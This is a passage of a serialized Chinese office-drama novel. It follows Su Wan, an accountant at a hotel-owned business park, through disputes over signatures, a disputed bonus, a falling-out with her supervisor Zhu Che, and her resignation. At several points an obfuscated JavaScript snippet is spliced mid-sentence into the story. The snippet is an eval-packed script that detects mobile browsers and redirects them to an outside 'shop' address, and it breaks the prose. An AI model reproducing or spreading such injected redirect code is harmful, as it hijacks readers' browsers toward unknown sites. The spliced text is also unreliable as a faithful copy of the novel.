去年去云南旅游的时候,林媛也坐在那辆大巴车上。那时候林媛还是省酒店的出纳,两个人并排坐着,窗外是高原的蓝天白云。林媛问她考什么证,她说税务师。林媛说她考过中级了,以后可以互相交流。 这才多久,苏晚已经赶不上了。 一周的时间,苏晚每天早上去市酒店,每天对着电脑做林媛交代的事。林媛给她一张表,说你把园区去年的账按这个公式重新算一遍。 苏晚算了。 算的时候她一句话都没说,但心里是惊的,也是不舒服的。那些数字拆开来,重新组合,像把一栋楼拆成砖,再砌成另一栋楼的形状。乍一看还是那栋楼,细看哪里都不一样了。她没有问为什么要这么算,林媛也没有解释。她们之间隔着什么,不是距离,是位置。 那天晚上苏晚躺在床上,窗外的城市灯火通明。车流声远远传来,像潮汐。她想起刚入职的时候,想过要成长,想过要有人带。想过在园区的时候自己还是酒店人,但从整体来看— 她被放弃了。 这个念头冒出来时候,她盯着天花板看了很久。 第四天的时候,林媛说有几处账目可以再规范一下。 苏晚点头,说知道,需要时间。她顿了一下,又说:“后期我会给你答复,无论做没做到,都会给你一个交代。” 林媛看了她一眼,那一眼看不出是什么情绪,过了两秒,说好。 内审结束那天晚上,酒店安排了一顿饭。 朱澈来了。刚开始宋夏和他站在一起喝酒,两个人碰杯,说些什么苏晚听不清。后来他的身边陆续有其他各部门领导轮流和他喝酒,他杯杯都干,脸上一直带着笑。 苏晚想起以前朱澈老说他不会喝酒。 原来不是不会喝,是当时,作为新人领导,他看得懂局势,他要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437397|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谦虚。现在不需要了。 苏晚坐在角落里,面前的菜几乎没动。她看着那觥筹交错,忽然觉得很吵,也很安静。 吵是别人的,安静是她的。 她想起李敏,想起小方,想起宋夏。想起朱澈。现在他们都起来了,都学会了喝酒,都融进了这个觥筹交错的世界。 只有她还坐在这里,看着。 后来朱澈走过来,步子比平时慢一些,但很稳。他站在她面前,微微俯下身,声音不高,但很清楚:“老板在那里,我们作为一个团队去敬老板。” 苏晚站起来,跟他一起走到主桌前面。 老板端着酒杯站起来,笑眯眯地看着他们。眼角的皱纹挤在一起,看起来心情不错。朱澈举杯,声音不高不低,刚好能让在座的人听见: “老板,我和苏晚一起敬你,苏晚很优秀,去年一年没少出力。我跟你要奖励,明年1.5倍。” 苏晚愣住。 老板看了她一眼,又看朱澈,笑容更深了些,说:“1.5倍可不行,给2倍。” 朱澈侧过头看向她,像是提醒,也像是分享一个只有他们知道的瞬间。他说,还不谢谢老板。 “谢谢老板。”苏晚说。 敬完酒往回走的时候,朱澈步子慢了半步,小声地说:“我给你要的,你好好干。” 那天晚上回到家,苏晚没有立刻洗漱,坐在沙发上发了很久的呆。 她想起了李敏以前答应过她的奖励。那时候李敏说,好好干,年底不会亏待你。后来年底到了,李敏升了,奖励的事没人再提。 她有点担心朱澈是喝高了。那些话,明天醒来他还记不记得?老板还记不记得?但担心之外,还有什么东西在胸口轻轻跳动着。 那个2倍的奖励。 她真的上心了。 不是为那笔钱。是为有人拉着她走过那些觥筹交错的人群,是为那句“我们作为一个团队。”是为他小声说“我给你要的”的时候,那个压低的声音里,好像真的有什么东西,比合作多一点。 窗外是这个城市深夜的寂静,偶尔有车驶过,引擎声渐行渐远。苏晚看着窗玻璃上自己的倒影,忽然想起那两棵香樟树,想起三月的阳光,想起他说“好好合作”的时候,没有看她。 她不知道明年会怎么样。不知道那个2倍会不会只是酒桌上的一句话。不知道朱澈明天醒来还记得多少。 但她是真的上心了。 这一点,她自己知道。 32. 心动 新的一年。 朱澈放下手中的电话,转头看向苏晚的工位。 “你听说了吗?”他说,“老板准备投个新酒店,位置在城东。” 苏晚打键盘的手顿了一下。 城东,她家就在城东。 那个位置她太熟悉了。一栋临街的楼,三层,外墙贴过白色瓷砖,后来刷过黄漆,再后来挂过巨大的广告布。小时候她和领导闺蜜苏云曦经常去那里玩,那个招牌经常更换。那条街口的梧桐树还在不在,她不知道。 “怎么突然起到投那边?”她问。 “老板看中的地方,谁知道。”朱澈看了她一眼,“你有想法?” 苏晚没立刻回答。她想起那个位置,那栋楼,小时候会经过,记得那个招牌。前几年还看到过它,前几年减重期间,她还经常经过那条街去爬后面的山,每次路过都会看一眼那栋楼。 “我想想。”她说。 她很意外。意外的不只是那个位置,还有—这个消息是朱澈告诉她的,不是宋夏。 晚上回家,她给林栖发了条微信:“我们老板有个酒店项目,有兴趣没?” 林栖回得很快:位置? 苏晚发了定位过去。 林栖:“可以啊。” 苏晚看着屏幕笑了笑。她朋友是多,林栖、周敏、还有几个做生意的老同学,都信她的眼光。老板这几年的项目 ,没一个亏的。只要名额拿到,钱不是问题。 第二天上班,朱澈正在办公室里泡茶 “我想入股,”苏晚开门见山,“去酒店报个名额。” 朱澈拎着开水壶的手停了一下,然后继续往杯里注水。水声哗哗的,他没看她;“行,我跟主任提。” 当天晚上 “名报上去了。”他发了条微信过来,“我尽力了。” 苏晚看着这后面的几个字,心里咯噔一下。 她盯着屏幕看了半天。 她握着手机,总觉得不对。朱澈从来说“没问题”“我想办法”,什么时候用过这种词?但她没再问,只回了一句谢谢。 那个咯噔一下的感觉,一直在。 一周后,朱澈请宋夏吃饭,叫了苏晚一起。 饭订在园区附近的一家私房菜,包厢不大,灯光暖黄。苏晚到的时候,朱澈和宋夏已经在了,两个有隔着桌子坐着,聊着什么。 “来了?”朱澈抬眼看她一下,示意她坐。 苏晚坐下来,冲宋夏笑了笑。 宋夏嗯了一声,目光从她脸上滑过去,落在别处。 菜上来,朱澈和宋夏聊酒店的近况。朱澈问“那个新项目的地,老板最后定了?” 宋夏夹了一筷子菜:“定了,城东那块。” 后来聊到演唱会,宋夏忽然拿出手机,往朱澈那边凑了凑。朱澈看了一眼,笑了;“保密工作做得好啊。” “没办法,人家住咱们那儿,总不能往外说。”宋夏把手机收回去,瞥了苏晚一眼。 苏晚知道那个演唱会。知道那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437398|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主角下榻在酒店。她没有多问一句,静静地吃着自己面前的菜。那盘清蒸鲈鱼转过来的时候,她夹了一筷子,鱼肉很嫩,但没什么味道。 一顿饭,她没怎么说话。 饭后,朱澈说约了朋友 ,跟她们不是一个方向。苏晚和宋夏一起往外走。 初春的夜风还有点凉,路灯把两个人的影子拉得很长。宋夏一直没说话。沉默在两个人之间漫开,漫得有点尴尬。 走到路口,宋夏忽然开口了。 “那个新酒店的入股名单,”她顿了顿,脚步没停,“只给省会酒店的老员工。市酒店没有名额。” 苏晚愣了一下。 原来是这样。 她没说话,继续往前走。宋夏在旁边走着,鞋跟敲在地砖上,嗒嗒的响。又过了一会儿,宋夏讪讪地说了句:“你的脾气得收一收,别那么强势。” 苏晚转头看她。 宋夏没接她的目光,看着前面的路。 “强势?”苏晚说。 “你自己不知道?”宋夏的语气有点飘,“很多人跟我说过,主任那里也提过。” 苏晚收回视线,继续走;“我知道了。” 她希望有这个机会。但错失了,也只是一愣。 回家的路上,手机震了一下。林栖发来消息:名额拿到了吗? 苏晚看着屏幕,打了几个字,又删掉。最后发出去的是:还在等。 她想,下次再经过城东那条街,要看看那两棵梧桐树还在不在。 33. 生气 八月底,酒店小苏离职了。 消息是宋夏在群里发的,朱澈转告给苏晚的:小苏离职,新会计下周到岗,大家配合。 苏晚没再加入过酒店的任何工作群。 听说新来的会计小新很年轻,苏晚没有见过,接到她的电话,以后园区的账由她对接。 苏晚嗯了一声,说好。 挂了电话,苏晚想了想回了条信息给小新。 短信写得很长。她写自己每个月的做账习惯,写她会把园区报表每月几号前交给小新,写哪些单据容易卡在老板那里。写完之后又看了一遍,删掉一些,又加了一些,最后按了发送。 “如果有不明白的,”她在短信末尾写道,“可以跟自己的上级领导反馈。” 发完这条短信,她看着手机屏幕出了会儿神。 她想起自己刚入职的时候。那时候什么都不懂,报表做错了没人说,流程走错了也没人提醒。有一次工资发放出了岔子,周卉主任当着全办公室的面骂她,她站在那儿,脸烧得通红,一句话也说不出来。 所以她不想小新也走那些弯路。能缩短一点是一点。 过了两天,她想起另一件事,又给小新发了条短信:“你是酒店兼职园区工作,你的兼职工资付款凭证能否跟我们一起?不单列,老板的字很贵。” 小新没回。 当天晚上,宋夏打电话来。 “你今天跟小新说什么了?”宋夏的声音从听筒里传来,听不出情绪。 “说什么?”苏晚问。 “薪资凭证不能单列的事。”宋夏说,“谁跟你说的?” “小苏刚接手园区兼职工作的时候,我单列过,”苏晚说,“老板亲口说的。他说字很贵,不要什么事都让他签。” 电话那头沉默了两秒。 “没什么了。”宋夏说,“我会报备的。” 挂了。 一个月后,发工资日。 苏晚那天特别忙。 实在抽不开身去酒店。 她拿起手机,打给小新。 “小新,”她说,“今天发工资,我这边走不开。你先紧着电子工资表出账,纸质工资表我后面送过去。” 小新在那头说:“可是我没见到纸质,怎么出?” “你先出电子版的,”苏晚耐着性子解释,“纸质的我也拍给你了,上面有朱澈主任的签字,没问题的。” “那也不行。”小新的声音有点硬,“我得见到原件。” 苏晚深吸一口气。 “我自己垫付的货款可以延迟发放,不着急。”她说,“就是你的那个单列工资,能先让你家领导报备下吗?我后期得找老板签字,怕卡。” “不行。”小新说,“我得等李姐的签字才能审核,你自己过来。我得看到纸质账单。” “我不是为难你。”苏晚说。 她忽然想起宋夏前阵子说的那句话—“你的脾气得收一收。”她怕小新是听了闲言闲语,怕她误会自己刁难她。 “当年我在酒店做新人的时候,也遇到过工资发放的问题,”苏晚说,“那时周卉主任为了这事还特别骂过我。你要是觉得不合适,可以打电话问下你的上级。” 小新不说话。 “工资每月都那么固定的人数,固定的金额,”苏晚继续说,“没问题的。你要是担心货款,可以延迟,我自己已经垫付了。” “就是不行。”小新说。 怎么不行了?”苏晚的火腾地就上来了。“朱澈的字就不值钱了吗?他是园区领导,他的签字不算数?” “那也不能—” “不能什么?”苏晚的声音大了起来,“我从酒店做到园区这么多年,每个月都这么操作,从来没出过问题。你刚来,什么都不了解,怎么就一口咬定不行?” 小新不说话。 “喂?”苏晚说,“听见没有?” 电话那头忽然换了一个声音。 “苏晚。” 李敏的声音。又冷又硬。 苏晚愣住了。 她不知道李敏在旁边。她不知道这通电话李敏一直在听。 “你什么态度?”李敏说。 苏晚握着手机,站起身来,走到窗边。 窗外是那片草坪,草坪两边是那两棵香樟树。叶子被八月底的太阳晒得发亮,一动不动。 “李姐,”她尽量让自己的声音平静,“我在跟小新说工作流程,没有态度问题。” “没有态度问题?”李敏的声音提高了,“我听你吼了半天,这叫没有态度问题?小新说什么就是什么,她说不行就是不行。” 苏晚看着窗外那两棵树。 风停了,叶子也不响了。 “李姐,你听到的是后半段,”她说,声音开始发紧,“你知道我在跟她说什么?你知道我从头到尾说了什么?” 李敏没说话。 “你永远都是觉得我错。”苏晚说,胸口开始起伏,“你知道我到底在坚持什么?” 她的声音越来越大。 “我坚持的是—我永远都只能听别人说,接受别人的指令,永远没有收到别人正面的反馈!” “你每次问我的问题,其实是别人可以回答你的,你问我,我去找答案。我没有时间再学习,再成长。” 她越想越气。那些压在心里很久的东西,忽然全涌了上来。 “李姐,以前在酒店,我加班到凌晨的时候,你在哪里?我一个人扛着园区所有账目的时候,你给过我一句及时反馈吗?” “你说我态度不好,那你呢?你偏心的时候,想过我也曾是你的下属,想过我的感受吗?” 最后一句,苏晚是吼出来的。 然后她挂了电话。 “啪”的一声,手指按在屏幕上,用力到发白。 苏晚站在窗前,一动不动。 窗外那两棵香樟树还是那样站着。叶子被太阳晒得发亮。草坪上有只鸟落下来,啄了两下地,又飞走了。 不知道过了多久,门被推开了。 朱澈走进来。 “宋夏打电话给我了,”他说,“怎么回事?” 苏晚转过身。 她不知道自己现在是什么表情。只觉得脸很热,眼眶也有点热。 她把事情说了一遍。从头到尾,一字不落。 朱澈听完,一直没说话。 过了一会儿,他拿出手机走出办公室。 下班前半小时,酒店的商务车停在园区门口。 小新和宋夏一起进来办公室,朱澈跟在后面。 “来,就半个小时了,快点审核。”宋夏跟小新说。 然后她抬起头,看了一眼苏晚。 那一眼很快,快到几乎察觉不到。但苏晚看见了。 朱澈也顺着她的目光看过来。 三个人站在那里,没人说话。 窗外的太阳开始西斜,把那两棵香樟树的影子拉得很长,落在草坪上。八月底的风终于吹起来,叶子哗哗响。 她想起下午那通电话,想起自己吼出来的那些话。 她不后悔。 只是忽然觉得很累。 半个月后,老板回来了。 下午,苏晚带着一沓凭证去酒店。电梯里只有她一个人,镜面上映出自己的脸,表情有点僵。她对着镜子扯了扯嘴角,没扯出笑来。 老板的办公室还是九楼的那间。 苏晚站在门口,深吸一口气。 敲门。 “进来。” 她推开门,一眼看到沙发上坐着两个人—老板和股东林总,正在喝茶。茶盘上紫砂壶冒着热气。 “老板,园区的账单请你过目签字。”苏晚的声音很轻,比平时轻。来酒店这么多年了,每次单独找老板签字,她还是紧张。那种紧张从脚底升起来,顺着脊背往上爬,爬到嗓子眼,把声音压得又低又细。 老板坐在办公桌后面,拿起笔开始签。 第一张,本月工资单。他扫了一眼,签了。 第二张,小新本月工资单列。他又扫了一眼,签了。 第三张,小新下月工资单列。 老板的笔尖停在签名栏上方。 他顿了一下。 苏晚的心也跟着顿了一下。 老板把笔放下,把那张单据抽出来,放在一边,他没看她;“晚点你再来。” 然后他站起身,走向沙发,继续和林总喝茶。 苏晚退出办公室,带上门。 她在员工电梯通道那里等。 这是她的习惯。老板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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是不是小新的单列工资,根本没有报备过。 她站在走廊里,看着宋夏推开老板办公室的门,门在她身后关上。 第二天,苏晚又到了酒店。 刚进大堂,迎面遇到一个人—前同事小姚,现在是大堂经理。 “来找老板签字?”小姚笑着问。 “是的。”苏晚说。 小姚左右看了看,压低声音:“昨天李姐女儿结婚,你怎么没来?” 苏晚愣了一下。 李敏女儿结婚。她不知道。没有人告诉她。 “哦,”她说,“我不知道” 小姚看着她,眼神里有点什么,但没再说下去,有人在前台喊她,她应了一声,冲苏晚点点头,走了。 苏晚站在原地,看着小姚的背影。 然后她按了电梯,上楼。 这一次,老板把单子签了。 笔落下去的时候,没有任何停顿。签完他把单据递给她;“行了。” 苏晚接过来,说谢谢老板,退出来。 出了办公室,她站在走廊里给小新打电话。 “单子签好了,”她说,“你在哪里?我给你送过去,你审核一下。” “我在前台。”小新说。 苏晚下楼,走到前台。 小新正在电脑后面忙着,见她来了,抬头看了一眼,没说话。小姚也在前台,正在整理房卡。 苏晚把单据递给小新。小新接过去,开始翻看。 “园区的账单要李姐签字吗?”小姚忽然开口。 苏晚转头看她。 “李姐没有签过,”苏晚说,“园区的签字顺序一直都是朱澈主任—老板—会计。” “哦!”小姚应了一声,眼睛看向别处。 小新翻单据的手顿了一下。 然后继续翻。 回到园区,苏晚把这事讲给朱澈听。 朱澈坐在办公桌后面,手里拿着一份文件,听她说完,没什么反应。 “知道了。”他说。 后来苏晚知道了。 小新的背景,不简单。 这事就这么过去了。没人再提。 只是有时候,她会想起那个下午。 34. 人情这门课,她刚及格 园区下班的时候,天已经黑透了。 苏晚坐进同事小北的车里,系安全带的时候,小北忽然开口;“晚晚,你知道主任家人过世的事情?” 苏晚扣安全带的手顿了一下。 “知道。”她说。 车窗外路灯一盏一盏往后退,光落在小北脸上,明明灭灭的。小北没再说话,苏晚也没再说。 她知道。她和朱澈只是上下级关系。没人请她去,她就当不知道,她不八卦。 有些距离,不是你跨不过去,是你不知道门朝哪边开。 过了几天,朱澈忽然走进办公室。 他站在门口,没往里走,问苏晚:“小西生病了,明天要一起去看她?” 苏晚正对着电脑做表,抬起头来,想了想。 小西是园区同事,前段时间请假了,说是身体不舒服。苏晚和她不算熟,但一个园区的,总归是同事。 “好”她说。 朱澈点点头,走了。 苏晚继续做表,心里想的是:“明天几点去,要不要买点水果。以公司名义去看病人,应该就是走个过场,问候一下。” 她想差了。 第二天到了小西家楼下,苏晚才发现不对。 小北手里拿着一个红包,朱澈手里也拿着一个红包。两个人站在单元门口,正在说什么。看到她来了,小北笑着冲她招手。 苏晚走过去,看着那两个红包,人傻了。 她没有红包。 她什么都没准备。 那一瞬间,她脑子里嗡嗡的。 她想起朱澈昨天问的那句话—“明天要一起去看她?”语气那么平常,平常到她以为是公司组织。她想起自己说“好”的时候,脑子里想的是水果和问候。 不是公司名义。是他们私下里去看同事,私下里给红包。这是人情,这是大家都懂的事。 只有她不懂。 站在小西的床前,苏晚手不知道往哪里放。 站在小西家门,小北和朱澈在前面说着什么,苏晚落在后面:“怎么就没想到?怎么就不多问一句?” 回去的路上,她坐的朱澈车里,一句话没说。 窗外的路灯一盏一盏往后退。 年底了。 园区办公室里堆满了单据。苏晚埋在里面,手边的计算器按得啪啪响。手指尖磨出了薄薄的茧。 该过年了。 大家都等着钱过年。 朱澈从酒店开完年终会议回来,推门进来的时候,带进一股外面的冷气。苏晚正对着一张报表皱眉,没抬头。 “老板今天在酒店,”他说,“你可以找他签字。” 苏晚按计算器的手顿了一下。 她抬起头,看着朱澈。 朱澈走进办公室,往苏晚后面的那张桌子走去。步子很平常,像只是顺便提一句。 苏晚愣在那里,好几秒没动。 从来没有过。 从来没有听朱澈主动提起过老板的行程。 刚开始是李敏通知,后来是自己记着。每周五下午打电话问老板在不在。有时候老板在,说你来吧。有时候老板不在,说下周。有时候电话打不通,她就白跑一趟,站在酒店大厅,掏出手机看时间,再坐半个小时回园区。 这是第一次,他主动告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苏晚站在电梯里,看着数字一格一格往上跳。电梯壁映出她的脸,表情有点苦——嘴角抿着,眉头微微蹙起,像是含着一颗还没化开的药片。 八. 九. 到了。 电梯门打开,走廊里铺着深灰色的地毯,簇新的,踩上去一点声音都没有。苏晚心想:好久没来酒店了,地毯都换新了。耐脏,还显得贵气。 走廊中间的那间办公室门开着,门上的铭牌亮晶晶的,苏晚觉得晃眼。 苏晚站在门口,深吸一口气。 敲门框。 “进来。” 她走进去,老板站在窗边,背对着她,正在打电话。落地窗外是这个城市的天际线,灰蓝色的天空下,楼群密密麻麻。老板的声音不高,偶尔嗯几声,偶尔说几句话,听不清说什么。 老板指了指办公桌,没回头。 苏晚走过去,站在桌边,等着。 办公室很安静,只有老板偶尔的应答声。墙4上的挂钟走得很慢,秒针一格格地挪。苏晚看着那根秒针,数着自己的呼吸。 不知道过了多久,老板挂了电话,走过来坐下。 苏晚把手里那沓凭证放在办公桌上。厚厚一叠,年底最后一批,再不签就来不及了。 老板拿起笔,一张张翻,一张张签。 第一张,签了 第二张,签了 第三张,签了。 第四张、第五张、第六张....笔尖在纸上划过,发出轻微的沙沙声。苏晚站在旁边,看着他签,心一点点放下来。 签到最后一张的时候,笔尖停了停。 那张2倍的奖励付款凭证。 老板抬起头,看着苏晚。 “这笔可以吃喝,”他说,“不是拿现金哦。” 苏晚愣了一下。 老板的目光在她脸上停了一秒,然后低下头,把那张单子签了。笔落下去,很稳。 签完,他把整沓凭证递还给她。 “谢谢老板。”苏晚接过来,正要转身— “这些单据都需要李姐的签字。”老板补了一句,语气很平常,像顺便提个醒。 苏晚点点头:“知道。” 退出办公室,带上门。 走廊里还是那么安静,深灰色的地毯,白色的墙,尽头的一扇窗透着光。苏晚站了两秒,把那张2倍的凭证单独抽出来看了一眼。 收款人:朱澈。 她把凭证塞回去,往电梯走。 电梯门打开的时候,她想起老板那句话—“不是拿现金哦。” 牢记心中。 地下室行政办公室二楼 苏晚刚上楼梯,就听见对面茶座室里面传出来的说笑声。门开着,暖气很足,一股热烘烘的空气涌出来,带着茶香和点心的甜味。 她往里看了一眼。 李敏和周卉都在。茶桌前还坐着两个人,看工牌是省会酒店的领导,。四个人围着茶几喝茶,茶盘上摆着几碟点心。 “我都这把岁数了,”周卉的声音传出来,带着笑,“差不多该退休了,不需要再向上爬了。” 其中一名女领导笑着说:“周姐说笑了,你这才哪到哪。” 周卉摆摆手,端起茶杯抿了一口。 苏晚在门口站了站。 然后她敲了敲门框。 “李姐,”她走进去,“老板让我把这些单据拿给你签。” 说笑声停了一下。 李敏抬起头,看了她一眼,点了点头。没说话,也没动。 周卉从旁边桌上拿起一支笔,递过来。 李敏接过去,一张张签。签得很慢,每签一张都要看一眼。苏晚站在旁边等着,听着那几个继续聊天。 签完最后一张,李敏把笔放下,把凭证递还给苏晚。 “谢谢李姐。”苏晚说。 她转身往外走。走出办公室的时候,她听见身后又响起了说笑声。 她下了楼,转出行政办公室,面前是一道长长的坡走廊,走廊尽头是员工专用电梯。 苏晚看着面前的员工专用电梯,转向了边上的员工通道。走到一楼出口,一边是西餐厅的后门,门半开着,能听见里面餐具碰撞的声音;一边是酒店后花园出口。 苏晚想了想,穿过西餐厅的后门,走进了一楼大堂。 大堂人来人往。 有人在办入住,行李箱的轮子在地砖上滚动,发出咕噜咕噜的声音。有人在椅子上坐着等,低头看手机。前台的小姑娘正在接电话,声音甜甜的,说“好的”“没问题”“您稍等”。 苏晚站在那里,看着这些人 办入住的客人脸上带着旅途的疲惫。等座位的人时不时抬头看一眼餐厅的方向。前台的小姥娘挂了电话,又拿起另一部。 她觉得自己像个局外人。 苏晚攥了攥手里的凭证,往外走。 园区。办公室。 苏晚刚坐下来,包还没放稳,就看见朱澈走进来。 他走得很急,外套都没脱,直接站到她桌前。手指在她桌面上敲了敲,笃笃两声。 “你怎么不收转账?” 苏晚愣了一下,抬起头。 “老板说这笔钱可以吃喝,不能拿现金。”她说。 朱澈愣了一下:“没有关系的。” 苏晚摇摇头。 她不知道怎么解释。那张凭证收款人写的是朱澈,钱打过去也是在朱澈那里。老板说可以吃喝,那就吃喝好了。她想得很简单—这笔钱放在他那里,大家一起吃顿饭,她领这个情。或者他不请也行,她不计较这个。 她只是不想把钱收进自己口袋里。 那样的话,算什么? 她把那笔钱收下,然后呢?以后见面怎么算?他会不会觉得她贪?她自己会不会觉得欠他什么?那些复杂的、说不清的东西,她一想就觉得累。不如不要。 她想着,等明天,微信转账就会失效。这件事就过去了。。 “我不收。”她说。 朱澈看着她,没说话。过了一会儿,他转身走了。 第二天,微信转账失效。 苏晚看着那条“已过期”的提示,松了口气。 第三天。 苏晚刚接完一个电话,心里有点烦。 电话不知道是谁打来的,没有报名字,只是提醒她:要懂得尊重领导。然后挂了。 苏晚握着手机站在窗边。 看着窗外那两棵香樟树。年底的风把叶子吹得哗哗响,有几片黄叶打着旋儿落下来。她盯着那些叶子看,看它们怎么落,怎么在地上打几个滚,怎么被风吹到墙角。 尊重领导。 她哪里不尊重了? 朱澈走进来的时候,她还在窗边站着。 “我还是没想明白,”他站在她身后,“你为什么不收?” 苏晚转过身。 她看着他,忽然觉得胸口有什么东西堵着。那个电话,那句“尊重领导”,那张凭证,这些话—全都堵在一起堵得她喘不过气。 “这笔凭证的收款人要求写朱澈的时候,”她说,声音比平时冲,“我心里就有感觉,这笔钱不是我提过的奖励。” 朱澈皱起眉。 “我讨厌领导说一套做一套,”苏晚继续说,“嘴上说我辛苦了,行动上什么都没有。” “那你是说我—” “我不会收的,”她打断他,“是下意识本着心不收。我没想过钱是多少,大也好小也好,我没想过。” 朱澈的脸色沉下来。 “老板也提醒过了,”苏晚说,“可以吃喝。那也是不错的。” 朱澈看着她,沉默了几秒。 他转身走了。 没再说话。 从那以后,日子变了。 一天一小骂,三天一大骂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她忽然想起6年前,她刚来园区的时候。那时候他对她很客气,说话总是带着笑。她加班晚了,他会说,早点回去,别太累。她做错事了,他会说,没事,慢慢来,谁都有第一次。 什么时候变的? 是从那笔钱开始吗?还是更早?还是从来就是这样,只是她以前没发现? 她不知道。 她只知道,这几年在园区,再难的时候她也没有大过年有催过账。租户再拖,她也是好好说,想着过完年再解决。她再难,也想给别人一个好好的年。 现在有人站在她面前,大年初五,指着她骂。 那一刻,有什么东西在心里断了。 不是委屈,不是愤怒,是一种很累很累的感觉,累到极致之后,忽然变得很清醒。 她看着他。 看着他的嘴一张一合,看着那些话从里面蹦出来。她听不清他在说什么,他的脸开始模糊。 现在这张脸,在骂她。 那张脸对她笑过。那张脸说过“好好合作。”那张脸在酒桌上,拉着她走过人群,说“我们作为一个团队。” 现在这张脸,在骂她。 从这一刻起,她讨厌的不是那些事。 那些报表,那些签字顺序,那些听不懂的人情世故——都不重要了。 她讨厌的是这个人。 窗外又一阵鞭炮响。 迎财神。 初五迎财神,家家户户放鞭炮。 苏晚坐在办公室里,一直听到鞭炮声停下来。 朱澈什么时候走的,她不知道。 窗外的天空灰蒙蒙的。那两棵香樟树光秃秃的。在风里摇晃。 36. 她松开手 苏晚等来了酒店领导。 在这之前,她去酒店办事,遇到以前的同事。同事拉着她到一边,压低声音说:“酒店正在接待评星级的领导,这几天忙得脚不沾地。等忙完这一阵,会处理园区的事情。” 苏晚点点头。等。她等了很久了,不差这几天。 那天上午,苏晚正在办公室整理单据,透过窗户看到一辆白色轿车停在园区门口。车门打开,周卉先下来,然后是李敏。 她们朝办公楼走来。 苏晚看着那两个身影越来越近,心里忽然松了一下。 那种松,像是一直绷着的弦,终于有了松开的理由。她等这一天,等了很久了。 脚步声在走廊里响起。门被推开。 周卉站在门口,目光在办公室里扫了圈,落在苏晚身上。 “你家领导?”她问。 “不知道,”苏晚站起来,“可能在租户那里泡茶。可以打电话给主任。” 苏晚注意到李敏的目光,没在意,走到茶座前,开始摆弄起茶具来——烧水,烫杯,从茶叶罐里捏出一撮铁观音。这是她来园区之后学会的,租户来了要泡茶,领导来了也要泡茶,泡着泡着就熟了。 “不用忙了,”李敏说,“坐下来吧!” 苏晚放下茶壶,坐下来。 周卉也在对面坐下。她的坐姿很直。那种坐姿苏晚熟悉,酒店培训出来的。 “说说看,到底是怎么回事?”周卉还是一如既往的严肃口吻。 苏晚低下头,看着茶桌上那几只空杯子。 “没什么,”她说,声音很轻,“就是心累了。” 苏晚不知道自己会说什么。那些话在心里憋了太久,像塞满的衣柜,一打开就会涌出来。但真到了要说的时刻,又不知道从哪一件开始。 门又被推开。 朱澈走进来,手里还拿着一个保温杯。他看见了周卉和李敏,愣了一下,然后很快反应过来,拉了一把椅子,坐到苏晚边上。 苏晚没看他。他也没看苏晚。 她开始讲。 她讲小新那张单列凭证的事情,讲老板签字的犹豫,讲宋夏的转身扭脚,讲领导的不理解,讲到这里,苏晚看了李敏一眼。 苏晚讲酒店的变化。讲她从酒店调到园区,以为自己是被信任的,后来才发现是被遗忘的。讲那些年她一个人在这里,没有培训,没有指导,只有租户和账本。她讲自己想成长。就算没有酒店专业性的培训,也想成长,就去自己报名考证,现在考证都已经成了自己的执念了,压得她很累。 “我能理解,”她说,抬起头看着李敏,“但不能认同。” 周卉一直听着,没有打断。她的脸上没什么表情。 李敏坐在旁边,一直盯着苏晚。那目光很紧,像要把她看穿。 “还有要说的吗?”周卉说。 苏晚沉默了几秒。 她抬起头看着周卉:“我很后悔那个夏天的夜晚,我没有坚定地离开。” 周卉的目光动了一下。 李敏也愣了一下。 她们都知道她说的是哪件事情——宋夏跟她农家乐吃饭的那天,她把所有人的微信公司群都拉黑删除了。直到此时都没再重新申请加入过。 办公室里安静了几秒。 能听见烧水壶的声音,咕噜咕噜的,水开了。 “调岗吧。”周卉开口,“换个环境。” 苏晚看着她。 然后她摇头。 “我不调。” 李敏惊到了。她猛得抬起头,看着苏晚,眼睛里全是意外。那表情苏晚看懂了——她以为苏晚会同意,会感激,会接受这个台阶。每年一闹的人,不都是为了换个好位置吗? 周卉也愣了一下。她的表情管理很好,只有一瞬间的松动,然后恢复了平静。但那一瞬间,苏晚看见了。 她们是不是在想——每年一闹的人,怎么会真的选择离开? 她们以为她是想换个地方。以为她闹这一场,是想要个更好的位置。 她们不懂。 周卉很快恢复过来,她的坐姿更直了一点,语气变得公事公办:“那就当场交接吧。” 苏晚点头:“好。” 李敏、周卉又是一愣。那两秒钟的沉默,像有人按了暂停键。 